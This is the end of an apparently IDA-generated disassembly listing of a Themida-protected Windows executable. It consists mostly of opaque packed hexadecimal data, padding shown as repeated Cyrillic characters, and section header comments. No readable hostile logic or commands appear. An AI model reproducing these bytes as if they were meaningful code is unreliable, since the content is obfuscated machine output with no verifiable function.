398DB3BEh, 6026A3ABh, 0CE9h dd 0C0F71500h, 0FDBB11CDh, 764DA6BDh, 4BF78128h, 61092923h dd 12E9505Fh, 70000000h, 0C7628DB2h, 4F6B8C89h, 37BE1E79h dd 2D0A896Dh, 8B665FC5h, 0FA8B66C8h, 58B0Fh, 81660000h dd 0B8C23BF6h, 1C756324h, 0B86660F8h, 80560BE2h, 615E9CF3h dd 8A0F5057h, 0 dd 0B9665A5Fh, 0C4805FC8h, 0CE92Eh, 0AB5E0000h, 1916396Eh dd 0ED4C0499h, 0C78BE2F1h, 0FCE8B66h, 981h, 38C0F00h, 0F000000h dd 8A0FD8BFh, 8, 28E0Fh, 61600000h, 8FB485B4h, 13E8h, 9BCC2000h dd 8595C52h, 1ED1BD76h, 0A6A51C86h, 1BF72625h, 0DA8B6660h dd 880F5B61h, 0 dd 0B027EB80h, 0B29DB962h, 850F15C4h, 3, 66D2B70Fh, 50DAB2BAh dd 9E9h, 7D5E9100h, 0B090FF10h, 6059CD36h, 12E9h, 7187E900h dd 72F6E92Ah, 82C654BCh, 51EFE146h, 66AD1C0Eh, 23A8F781h dd 0BF0F6061h, 5361F9CEh, 10E9h, 244C2D00h, 0B112C6E4h dd 0E6E27DD0h, 0E664CE43h, 0B9F85AEDh, 6ACA22B1h, 0B4D1B70Fh dd 48E0FF8h, 66000000h, 66E585BBh, 4673F181h, 6800Fh, 0DE810000h dd 3BE7E805h, 8E8F860h, 6D000000h, 68A25CCDh, 5E3CEABCh dd 0E2C78161h, 6642DC2Eh, 0DE07F781h, 7E84AB5h, 71000000h dd 5386AF4Fh, 830F5AF0h, 2, 0BE5ED98Bh, 4550FE87h, 90BA05B7h dd 0BA4E0012h, 428AF862h, 6ECA81F5h, 0FC22C7ABh, 0F51D08Bh dd 680h, 870F00h, 5B000000h, 11E85760h, 54000000h, 8BB24E16h dd 0A4349E31h, 0F0FA9E3Fh, 9E96369Bh, 44B05959h, 0EB20B961h dd 0C68B01B0h, 8B0F60F8h, 0 dd 0BF665161h, 0B959BF71h, 167EB732h, 0FDC38166h, 816660C9h dd 8B251CEFh, 606061FEh, 8E8h, 64C24700h, 0FF41841Ah, 5E9589Bh dd 17000000h, 0C564032Bh, 11E861h, 963E0000h, 0B190A6D6h dd 694A05C6h, 21A31C04h, 0F8D7206Fh, 8F0F6159h, 3, 0FC8BE580h dd 26DB81FCh, 8B043CF6h, 8BD58ACAh, 62CB81C7h, 0B914220Ah dd 708D1A81h, 0CE9F98Bh, 82000000h, 1D8745BDh, 0DA6FDFAh dd 805022DDh, 0B70F72E0h, 6606B1FAh, 0FA9BC381h, 0BF29D180h dd 0ED081B9h, 59E4B553h, 0F91DC80h, 488h, 13B96600h, 9E9E2h dd 9E160000h, 37DEEDB3h, 0F76958Dh, 181h, 8166F500h, 0FE5B5E2h dd 88Ch, 2890F00h, 57000000h, 0D4BA5Eh, 0FF83988h, 881h dd 61606000h, 3CCEBB66h, 0B9666061h, 8B66BE1Dh, 800F61C2h dd 3, 0FD8BF0Fh, 1D86h, 13E96000h, 99000000h, 5C92AA93h dd 0F2B8E199h, 0E64707EDh, 0C109A45Eh, 0B70F285Bh, 0BEBF61D2h dd 81598B14h, 0CAC461E3h, 15E68002h, 2860Fh, 0D18B0000h dd 7E860h, 0C11C0000h, 7E9BB8F0h, 0F68166B3h, 66583DB3h dd 7308DB81h, 0B91FB061h, 17C8FADFh, 0D1815651h, 29D306B0h dd 81665B5Bh, 0F538DE0h, 58Ch, 0D7D7BF00h, 6E92573h, 0C9000000h dd 3280A7FEh, 13E860CFh, 0F5000000h, 91666E8Eh, 0CBDED948h dd 9D9E585Ah, 0BDE20A1Ch, 0F58AD465h, 0A3E78158h, 61566371h dd 6678F180h, 0FE8C28Bh, 3D000000h, 8459307Bh, 0EFD5DDBEh dd 20D8A3C5h, 0D981A366h, 7976ECCAh, 664AB359h, 0FF5D78Bh dd 389h, 1DDE8000h, 0F9FABE60h, 0DE915F5h, 59000000h, 6AAEE5BCh dd 0D6BEAFF7h, 5648683Eh, 68D0F61h, 81000000h, 0FBEEA3D9h dd 0E9F18B1Bh, 0Fh, 921F1C00h, 3AE0E2FFh, 4777191Ch, 0E867AF16h dd 12h, 0B45EB6E2h, 31B9E0B7h, 306410DCh, 88BC2688h, 0FE9C732h dd 0FB000000h, 0C11501B5h, 888CD8AFh, 0C8C283E2h, 8B5F9463h dd 0DB8060CEh, 0FF9619Ah, 38Ch, 0D1B70F00h, 72BA66F8h dd 13E914h, 761B0000h, 0DB4ADFBEh, 9DC5808h, 68BA8E89h dd 26DEFAE4h, 60F38BBAh, 0B085D080h, 0FE86193h, 74000000h dd 2F7B02DBh, 7F303145h, 85D7E423h, 0D9B28232h, 40BF665Eh dd 6059B0F4h, 0B03DB966h, 0FD72B866h, 0F2D98161h, 0B52C870Ah dd 0FB8B6603h, 13E960h, 0A6110000h, 0AAD0C869h, 5B9F4491h dd 0FF62D5DEh, 0F2722432h, 8A61F9AFh, 0F8B70FDAh, 60D2BF0Fh dd 61F9D38Bh, 0BE6615B6h, 11E856BFh, 0A6000000h, 187A0FBEh dd 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h, 5FF3B70Fh, 10E9h dd 0F44D8C00h, 91B1D5D7h, 297AF661h, 0C5BEBCFCh, 0D681664Ch dd 0C68BA64Bh, 2850F56h, 8B000000h, 0B70F58CEh, 28B0FF7h dd 0B5000000h, 66FA8B27h, 9A7AC781h, 9E8h, 2D840600h, 8AF9A08Fh dd 0B70FBB4Ch, 0BAF95BC6h, 1EFDD69h, 10E9h, 8C28B300h dd 0F853CEF8h, 0E896C8FFh, 6BD9DF23h, 8800F1Ah, 0F000000h dd 28Eh, 0B45B5100h, 6E938h, 2CA80000h, 0E753CBDDh, 0A296B6BFh dd 0B7D18134h, 6079EE24h, 7E8h, 89D57F00h, 0EBF81F82h dd 0EF816658h, 6061C1F9h, 0FE8h, 0B2113200h, 8360CA64h dd 767FDD78h, 1FBA2F6Ah, 6E9h, 62F4B200h, 5B9B57A8h, 249FBE66h dd 0C2B70F61h, 4FB5D681h, 0CE803C0h, 5B000000h, 15375636h dd 0D64B21A7h, 5E51B001h, 8818BA53h, 0F5B4D96h, 38Ah, 0D38B6600h dd 0E8F2BF0Fh, 0Fh, 4505E379h, 0C198529Fh, 26523554h, 0FA25966h dd 28Fh, 5F70B400h, 0FF18B66h, 8Ch, 0E6816600h, 0EB81F510h dd 5394A6B6h, 0E9C78B66h, 14h, 8BE8959h, 8B5B1AA5h, 0B872BA38h dd 42B1546Dh, 0C5F064D0h, 28C0Fh, 0DE8B0000h, 0BE953h dd 0B6FF0000h, 7AD03891h, 2AA18243h, 0F605B39h, 1187h dd 0BE800h, 0C62E0000h, 6483EC34h, 3D22D845h, 0E8535F13h dd 7, 727DE0DBh, 5E2EC731h, 0CD806158h, 0AE992h, 0BC4C0000h dd 0F9B2446Eh, 0D6CA0A14h, 6E8h, 89E84C00h, 0E9CA7BBFh dd 7, 0C494F932h, 58A780A2h, 17FD67BBh, 0E081600Fh, 79526F86h dd 10E9h, 0F881AC00h, 29A8946Dh, 428C2A12h, 9C8071DDh dd 0AE961CEh, 0F5000000h, 0C55772B3h, 921B59Bh, 6E904h dd 0B9DB0000h, 95D9612Ah, 7E8h, 0F540B100h, 0A76D1D20h dd 565BDA8Bh, 0D021D1BFh, 8B665930h, 7E9D6h, 473B0000h dd 0F447851Ah, 6E921h, 0ADBC0000h, 5F0422C9h, 0FA8B66FCh dd 0BE9h, 0CAF4DA00h, 7804D590h, 76E8F3A4h, 0D38A14B2h dd 138E0Fh, 0BE80000h, 21000000h, 0AAA0CAA4h, 0BEAB4E81h dd 0CA8B4A3Ah, 0CE2BB5Eh, 0B70F6B4Ah, 8E8F0h, 4B870000h dd 56C18A4Ch, 6E98598h, 5A000000h, 0A642B736h, 0D18B5EC4h dd 0EE8h, 994A9500h, 0F7805257h, 0B9928945h, 66C5CA93h dd 0BCABD981h, 7BE58058h, 0FCE8B66h, 584h, 0C1816600h dd 80FCD69Ch, 0CD804DE6h, 13E9F9DBh, 3A000000h, 76F566CAh dd 0A1144EE0h, 73B2C684h, 0AA63F6E8h, 0B70FDB42h, 0EA8166D9h dd 0BF0F7FDCh, 93E180C9h, 810FCB8Ah, 4, 4FB866h, 0C5B86660h dd 6661FC10h, 0F322F681h, 95BE27B9h, 0E914B06Ch, 14h, 0DDB6A3BBh dd 0C48A615Dh, 9EF31248h, 0B456F546h, 7A50418Fh, 6653E88Ah dd 592FADBAh, 158F0F60h, 0E9000000h, 10h, 0EAF07C5h, 5B27892h dd 544DECBEh, 6AE8D7D1h, 1A8A0F61h, 0F000000h, 1488h, 0EE800h dd 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h, 6DB9665Bh dd 60DB81FCh, 8A114AFEh, 0FF780D3h, 5B5FDB81h, 11E92EE1h dd 90000000h, 0C6A86B17h, 81F5239Eh, 0ECB94567h, 0D8D4C496h dd 28D0F60h, 52000000h, 0D1815058h, 77C16754h, 0D68B6158h dd 0CF8B50B4h, 0DE8h, 19721500h, 3EF43FDh, 55E08388h, 0F5FC743h dd 1884h, 13E900h, 0D5840000h, 0BD181080h, 39CD7813h, 67A3BA6Bh dd 6BAB2107h, 800FF87Ch, 0 dd 6E9CB8Bh, 0F2000000h, 9E04834Ch, 10E86091h, 79000000h dd 0CAE3C842h, 0EFD8E835h, 5580008Eh, 66D49363h, 5E2054BFh dd 5BF88B51h, 0ACDE8061h, 5E9h, 0C825A800h, 830FCABCh dd 5, 14F68166h, 68B460AEh, 0F23A48BAh, 860F617Ah, 19h dd 13810Fh, 0EE90000h, 0BF000000h, 26CDBF0Bh, 146E4CEFh dd 20829081h, 1D880F20h, 0F000000h, 1789h, 12E900h, 0C1530000h dd 12F07BFDh, 1A67000Bh, 0C4D614A5h, 836DE194h, 12E9h dd 92690000h, 1C343659h, 7025E0F3h, 39AFA8EAh, 8141B1A5h dd 0F953B6C7h, 73F68138h, 66633F1Bh, 0E561D681h, 3870Fh dd 0B70F0000h, 8E9FFh, 40320000h, 9F3A352Ch, 0A8B94A31h dd 0E97446F7h, 5, 87471E20h, 0A7BB660Fh, 0E2816621h, 0B8668889h dd 0C881FC07h, 35FA93A7h, 0BAEB8166h, 0FE918h, 272C0000h dd 0E8B7AC61h, 42A2FE4Ah, 0A28AAFA3h, 90BAF896h, 6657AAAEh dd 64BAF88Bh, 51712B54h, 0BC61B866h, 0F0BE6659h, 7870F65h dd 0F000000h, 183h, 0B70FF900h, 8E0FF9FEh, 17h, 12E9h dd 0E4914A00h, 2DA9DA9Dh, 75278022h, 0F52F6BACh, 0BB14C3F5h dd 590CABC3h, 0B3ABDB80h, 36EE812Dh, 0E96AA017h, 11h, 36E154Ch dd 50B99139h, 0A0FB47C2h, 526818B5h, 8166533Bh, 5A2604F6h dd 66CA8B66h, 0F371E681h, 0FE9h, 4A635600h, 0DC3DF5E7h dd 4331367Ch, 0D6BD6D83h, 8F3F3CB8h, 0E78ABE79h, 3CB733E9h dd 1BEF8166h, 0D38B608Ah dword_612D20 dd 816661F5h, 0E8D57BD9h, 13h, 0E5B96C9Ch, 3B2F11D9h, 8687A832h ; DATA XREF: ___:off_4455F0o dd 790B91FBh, 5654BB62h, 820F5A58h, 5, 92E78166h, 0E9DA8AFBh dd 6, 47F62476h, 6653F66Fh, 805BC78Bh, 0AE8F9C6h, 3C000000h dd 87162FF6h, 0CB253DD4h, 46BA66FBh, 8F0F5FB8h, 2, 8166F08Bh dd 60E7D6CAh, 0E8F2BF0Fh, 0Eh, 3F598D53h, 3BB619FDh, 9178C72Bh dd 9B1606Ah, 0B551615Eh, 0BB665B4Bh, 6060285Ah, 0CE9h dd 5E87B000h, 7FC3A61Bh, 198EA6DCh, 14E9A1h, 94230000h dd 1317C8B6h, 80BFA89Ah, 9CDBBEDAh, 4062DC1Bh, 6161BA7Ch dd 0E957FCF9h, 0Eh, 0CC1FF6ECh, 1CA60A48h, 43F0B2C5h, 0F5AB870h dd 8166D1BFh, 0E90A19E1h, 14h, 20EAB8A9h, 27882F8h, 0BE291C2Ah dd 131F23A8h, 3FDDB8C2h, 0DAE0C1B9h, 890F5612h, 2, 81596160h dd 0AA5DCCF7h, 0DA81662Ah, 0B70F1999h, 880FD8h, 0F000000h dd 1B86h, 10E800h, 0D4E0000h, 45ABCBF5h, 382275A5h, 4962CCBh dd 2EBACF03h, 5B7EA6C8h, 5E8h, 0E5A94200h, 0F081EAC9h dd 309BCE84h, 50BE6658h, 50F8F96Dh, 5FD68B66h, 50F5DF8Bh dd 5E9h, 0B35BE200h, 8B5B3898h, 0CAB70FD0h, 0BFCABF0Fh dd 2ECFBFD7h, 0FDA8B66h, 280h, 66F88B00h, 604433BEh, 5E845B7h dd 97000000h, 45316028h, 0AE9h, 1BD23200h, 0FB914BFAh dd 5B1C009Ah, 8C0F6061h, 2, 870F5F56h, 2, 81616160h, 7FCB01D0h dd 0F28B6604h, 68B0Fh, 0D8810000h, 4A2070F4h, 665056B2h dd 0B65EF78Bh, 0C981661Ch, 0B70F9412h, 61F860F3h, 870FCE8Bh dd 5, 2B4AA7B9h, 0E3DA8044h, 0BF26F680h, 6224B78Fh, 38B0Fh dd 0EE800000h, 14E99Ch, 0E600000h, 7F4DF9BDh, 9CE95066h dd 357670C1h, 10699ECCh, 10E9DF8Bh, 0B2000000h, 0D11C7296h dd 0C2B28F4Fh, 0C9EAD3E1h, 0F537F381h, 400714BEh, 3394B82Eh dd 0E980161Bh, 12E9573Fh, 2A000000h, 0D6B4AFEDh, 8B855624h dd 0EF3886B2h, 0D1EEF56Eh, 25B85BA9h, 664D74A8h, 5B57D281h dd 8E8h, 0DED5A200h, 1F4CAE2Fh, 0C3BF0FC2h, 13E95Fh, 52CA0000h dd 0CAB74ED5h, 0D5639771h, 8D980E95h, 0B796B140h, 28C0FA2h dd 0B0000000h, 0BEF38BA6h, 22D9CA57h, 9EBF66FCh, 0A7E48002h dd 5E9h, 0AFD31400h, 81FC77FAh, 6C766DEh, 8166F55Dh, 0B2DD4DEEh dd 1880F7Dh, 0F8000000h, 66F78B66h, 9919E381h, 6E9h, 0B41F2E00h dd 0E9C73346h, 7, 90FC5D66h, 8A549F37h, 0D7BF0FD4h, 5E9h dd 2604CB00h, 820FE570h, 10h, 5E8h, 0AA7D800h, 91BBB21Bh dd 5B0EF55Bh, 45EF8166h, 0E9F48A2Eh, 0Eh, 2318468Bh, 7F63214Fh dd 7417D3BCh, 0B70F56A6h, 14E960DFh, 25000000h, 7AFB655h dd 0F738BEB9h, 25E73AEDh, 2756662Dh, 0F5F40FBh, 0E861D1B7h dd 8, 0A32890C7h, 61E5914Dh, 0E8575659h, 13h, 6A4CAB04h dd 7913F1Dh, 267BDBBBh, 62973AFDh, 5A38C3B9h, 10E9585Fh dd 4000000h, 0AA88E406h, 0E47D0A39h, 0A8B22DB9h, 8BF4D807h dd 0D88B66F2h, 12E9h, 1D343D00h, 604D4099h, 0ECD80FECh dd 607D6EA7h, 0F80F33Ch, 890FDBBFh, 2, 0C78BCE8Bh, 174ED881h dd 51B5005Ah, 5FDC8A57h, 0F6DA8166h, 5E9A5h, 0AFB30000h dd 0E847A3DAh, 6, 0D4D92EB3h, 0B86080DFh, 2E9FA540h, 8ED08166h dd 665B6108h, 0DC23D981h, 57CA8166h, 0CCD78195h, 0E856CF01h dd 10h, 67BB7373h, 3015966Fh, 84030BD3h, 0D03165C8h, 880F60h dd 0B3000000h, 0BA5A6157h, 179C264Eh, 48D0Fh, 0BE660000h dd 0C280367Dh, 0FBBF0F3Fh, 43BF71B7h, 51313EAFh, 0AE8h dd 79CF6D00h, 0D2EF4C9Eh, 66F03F36h, 5F8242BAh, 0DB81665Bh dd 8A60F81Bh, 1850FF8h, 0F9000000h, 12E961h, 0E67F0000h dd 0FDB91486h, 92A510A3h, 311641DDh, 948D24A3h, 4C5108BEh dd 0AE818h, 680E0000h, 78C43AF8h, 52E0CAE4h, 9E9h, 5EF2DB00h dd 6D0CFD98h, 815BA3C0h, 69D5C0C9h, 0C0B70F7Eh, 18C0Fh dd 60F50000h, 14E953h, 68570000h, 0DA8D81Bh, 883B5D1Fh dd 41B2DCCBh, 6A9B441Dh, 0FC5EB552h, 0C8BF0F61h, 0EE8h dd 3BD48500h, 98F0E1A1h, 0F1D87ACFh, 0F4222E7h, 665FD1B7h dd 81466BB9h, 889C7BD3h, 18890F40h, 0E9000000h, 13h, 217E9903h dd 0F949857Ch, 5C836471h, 0DDDA6918h, 53F7D619h, 0DE9h dd 0BD750E00h, 82561B6Eh, 0BC1CEF36h, 6658F0DEh, 878AD381h dd 567DD680h, 38E0Fh, 0BF0F0000h, 0E4B458CAh, 2860Fh, 0E6B20000h dd 3BB966F5h, 0BAD97F34h, 2E7h dup(0BAD97F1Ch), 29737F1Ch dd 8 dup(29734CDDh), 7BED4CDDh, 0DAh dup(7BED1222h), 0DDED1222h dd 29Fh dup(0DDD65F71h), 38D65F71h, 0AEh dup(38D3DB2Dh) dd 5F44F12Dh, 108h dup(5F44F10Bh), 3DF560Bh, 477h dup(3DF5612h) dd 0CCCCCC12h, 1E7h dup(0CCCCCCCCh) db 2 dup(0CCh) asc_616C4E db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: ___:off_445304o db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 00219000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00219000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 619000h align 2000h _idata2 ends end start